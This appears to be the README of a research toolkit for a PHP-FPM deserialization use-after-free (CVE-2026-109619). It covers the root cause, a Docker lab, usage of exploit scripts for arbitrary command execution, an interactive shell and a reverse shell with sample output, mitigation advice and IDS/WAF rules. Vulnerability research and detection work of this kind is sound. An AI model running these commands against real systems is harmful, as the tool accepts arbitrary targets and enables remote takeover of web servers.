A comprehensive research lab and exploit reproduction toolkit for CVE-2026-109619 (also known as PHP2Shell), a critical vulnerability in PHP's deserialization subsystem affecting persistent worker architectures (such as PHP-FPM), enabling pre-auth cross-request use-after-free and arbitrary remote code execution under the privileges of the web process.
- Component: PHP Deserialization Subsystem (
ext/standard/var_unserializer.re) - Affected Versions: PHP
8.2.0–8.2.34,8.3.0–8.3.35,8.4.0–8.4.26,8.5.0–8.5.11 - Vulnerability Class: CWE-672: Operation on Resource After Expiration or Release / CWE-416: Use After Free
- CVSS Score: 9.2 (CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
-
Unchecked Bailout in Deserialization: During deserialization,
php_var_unserialize_init()initializes reference tracking structures and destruction chains inBG(unserialize).data, incrementingBG(unserialize).level = 1. If an in-script fatal error or memory exhaustion occurs (e.g. inside__wakeup()or class constructor), PHP executeszend_bailout(). Ordinary request cleanup routines (php_var_unserialize_destroy()) are skipped, leaving dirty global pointers and unzeroed reference counters in the worker's memory space. -
Persistent Worker Survival (PHP-FPM): In persistent multi-request architectures like PHP-FPM (
pm = staticordynamic), child worker processes survive in-script fatal errors across HTTP requests without terminating. When a subsequent HTTP request arrives at the same worker process, it inherits the dirtyBG(unserialize)parser state from the preceding aborted request. -
Cross-Request Reference Poisoning & Memory Corruption: When the surviving worker enters
unserialize()again, it detectsBG(unserialize).level > 0and mistakes the new payload for a nested call within an already-active deserialization session.- By supplying cross-request references (
R:1), the deserializer resolves pointers into previously freed memory. - By reclaiming the dangling 4096-byte
first_dtorstructure in Zend MM through controlled POST allocations, the attacker constructs a fakeHashTablewhosepDestructorpoints directly tozif_system. - Upon destruction, arbitrary shell commands are executed with
www-dataprivileges.
- By supplying cross-request references (
├── lab/
│ ├── nginx-fpm/ # Vulnerable Nginx 1.27 + PHP-FPM 8.4.26 environment
│ │ ├── nginx.conf # FastCGI reverse proxy configuration
│ │ ├── php.ini # PHP runtime configuration (memory_limit = 8M)
│ │ ├── fpm-pool.conf # PHP-FPM static pool configuration (1 worker)
│ │ ├── lab.sh # Container management script (up, down, status, logs)
│ │ ├── test_behavior.py # Diagnostic script verifying worker survival
│ │ └── webroot/ # Target web application endpoints
│ │ ├── cve_109619_poc.php # Two-stage exploitation endpoint
│ │ ├── cve_109619_demo.php # Diagnostic demonstration
│ │ └── index.php # Worker status and PID baseline
│ ├── docker-compose.yml # Multi-container lab orchestration
│ ├── run_lab.sh # Lab startup script
│ └── stop_lab.sh # Lab teardown script
├── poc/
│ ├── poc.py # Full-featured network PoC (arbitrary RCE, interactive shell, reverse shell)
│ ├── universal.py # Universal pre-RINIT exploit engine targeting session.upload_progress
│ ├── discover.py # Dynamic endpoint crawler and parameter discovery engine
│ ├── scan.py # Non-destructive passive vulnerability assessment scanner
│ ├── poc_raw.py # Low-level Zend MM memory corruption exploit (zif_system)
│ ├── revshell.py # Standalone reverse TCP shell handler
│ ├── profiles.json # Affected version catalog and fix matrix
│ └── ui.py # Terminal output and status helpers
├── rules/
│ ├── suricata.rules # Suricata / Snort network IDS detection signatures
│ ├── modsecurity.conf # ModSecurity / OWASP CRS perimeter WAF rules
│ └── semgrep.yml # Semgrep SAST rule for unsafe unserialize calls
├── assets/
│ ├── showcase.gif # Terminal demonstration GIF
│ └── showcase.webm # High-definition screencast
├── docs/
│ ├── analysis.md # In-depth technical root cause analysis
│ └── licensing.md # License details
├── test_all.sh # Automated verification suite for all lab services
├── php2shell.py # Root CLI entrypoint
├── Makefile # Automation recipes
└── README.md # Research report and documentation
Docker is required to run the local lab environment.
# Start lab containers (Nginx 1.27 + PHP-FPM 8.4.26)
./lab/run_lab.sh
# or: make lab-upOnce running, the following endpoints are exposed:
- Webroot Oracle:
http://127.0.0.1:8180/index.php(SAPI & PID verification) - Target Vulnerable Endpoint:
http://127.0.0.1:8180/cve_109619_poc.php - Diagnostic Endpoint:
http://127.0.0.1:8180/cve_109619_demo.php
To shut down the lab:
./lab/stop_lab.sh
# or: make lab-downTo reset the lab with clean logs and fresh worker memory:
make lab-restartPerforms fingerprinting of PHP version, FastCGI SAPI, worker survival during in-script memory exhaustion, and cross-request state reuse without executing arbitrary commands.
python3 poc/scan.py -u http://127.0.0.1:8180/
# or: ./php2shell.py -u http://127.0.0.1:8180/ --checkExample Output:
target: http://127.0.0.1:8180
version: php 8.4.26 (vulnerable, php 8.4.26 < 8.4.27)
worker: pid 7
survival: ok (pid 7)
stale state: clean
verdict: vulnerable to cve-2026-109619
Exploits the stale deserializer state across requests. Stage 1 triggers memory exhaustion inside __wakeup(), leaving BG(unserialize) dirty (level > 0) while the persistent PHP-FPM worker survives. Stage 2 supplies cross-request reference R:1 to resolve stale pointers in Zend MM.
Note
The exploit operates entirely at the PHP interpreter and Zend Engine layer without requiring application-level gadgets. For low-level memory corruption targeting native engine function pointers (zif_system), see poc/poc_raw.py and the pre-RINIT exploit engine in poc/universal.py.
The PoC accepts arbitrary targets (-u) and commands (-c):
Arbitrary Command Execution:
python3 poc/poc.py -u http://127.0.0.1:8180/ -c "id; uname -a"
# or: ./php2shell.py -u http://127.0.0.1:8180/ -c "id; uname -a"Example Output:
target: http://127.0.0.1:8180
endpoint: http://127.0.0.1:8180/cve_109619_poc.php
parameter: data (POST)
command: id; uname -a
worker: pid 7
poison: ok
output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux be467f30ca4c 6.12.113+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.113-1 (2026-10-15) x86_64 GNU/Linux
Interactive Shell Session (-i):
Spawns an interactive shell prompt with readline support (arrow keys, command history, line editing):
python3 poc/poc.py -u http://127.0.0.1:8180/ -i
# or: make shellInteractive Prompt:
[*] Poisoning BG(unserialize) parser state (step 1)...
[+] Worker poisoned! Surviving worker PID: 7
============================================================
[+] Interactive shell active! Type commands or 'exit' to quit.
============================================================
php2shell> whoami
www-data
php2shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
php2shell> pwd
/var/www/html
php2shell> exit
Exiting interactive shell.
Launches a local listener on port 4444, triggers the exploit against the PHP-FPM worker, and executes a reverse connection from inside the Docker container back to the host:
python3 poc/poc.py -u http://127.0.0.1:8180/ --revshell
# or: make revshellReverse Shell Session:
target: http://127.0.0.1:8180
endpoint: http://127.0.0.1:8180/cve_109619_poc.php
bind: 0.0.0.0:4444
reverse connect: 172.18.0.1:4444
trigger: payload sent, waiting for connection...
shell: connected from 172.18.0.2:43304
shell: interactive session open (type commands, ctrl+d to exit)
www-data@8a6817fd2270:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@8a6817fd2270:~/html$ exit
Executes an automated end-to-end regression test suite verifying container health, passive scanner accuracy, RCE payload execution, reverse shell callbacks, and unit tests:
./test_all.shPHP maintainers remediated the vulnerability by introducing php_basic_early_rinit() called after zend_activate() and before sapi_activate():
- Zeroes all serialization and deserialization state (
BG(unserialize)) unconditionally before input processing begins. - Resets URL rewriters and locks before request execution.
- Explicitly cleans executor backtraces and superglobals (
EG(last_fatal_error_backtrace)).
-
Update PHP Runtime: Upgrade PHP to patched versions:
- PHP 8.2
$\to$ 8.2.35+ - PHP 8.3
$\to$ 8.3.36+ - PHP 8.4
$\to$ 8.4.27+ - PHP 8.5
$\to$ 8.5.12+
- PHP 8.2
-
Disable Dangerous Deserialization: Audit codebases and avoid passing untrusted user input to
unserialize(). Enforceallowed_classes => falseor transition to structured formats (json_decode()). -
WAF Inspection: Reject incoming requests attempting serialized object injection (
O:[0-9]+:) at perimeter reverse proxies.
The repository provides production-ready defensive rules in the rules/ directory:
- Network IDS (Suricata / Snort):
rules/suricata.rulesdetects anomalous inbound serialized object payloads and cross-request reference injections. - Web Application Firewall (ModSecurity / CRS):
rules/modsecurity.confinspects HTTP request bodies and drops unauthorized PHP serialized objects at the perimeter. - Static Application Security Testing (Semgrep):
rules/semgrep.ymlaudits source code for unvalidatedunserialize()calls.
- Vulnerability Discovery & Research:
- Calif & Wiz Research for the public research and architectural analysis of the PHP2Shell vulnerability family.
- devploit for early vulnerability tracking and baseline research.
- Extended Research Suite & Enhancements:
- Interactive Remote Shell (
-i) & Command Execution (-c): Full cross-request state poisoning and interactive terminal session. - Standalone TCP Reverse Shell (
--revshell): Automated listener and container-to-host callback integration. - Reproducible Laboratory: Complete Nginx 1.27 + PHP-FPM 8.4.26 Docker Compose test environment.
- Defensive Engineering: Added production-ready Suricata IDS rules, ModSecurity WAF rules, and Semgrep SAST signatures.
- Automated Verification: End-to-end verification suite (
test_all.sh) and regression unit tests.
- Interactive Remote Shell (
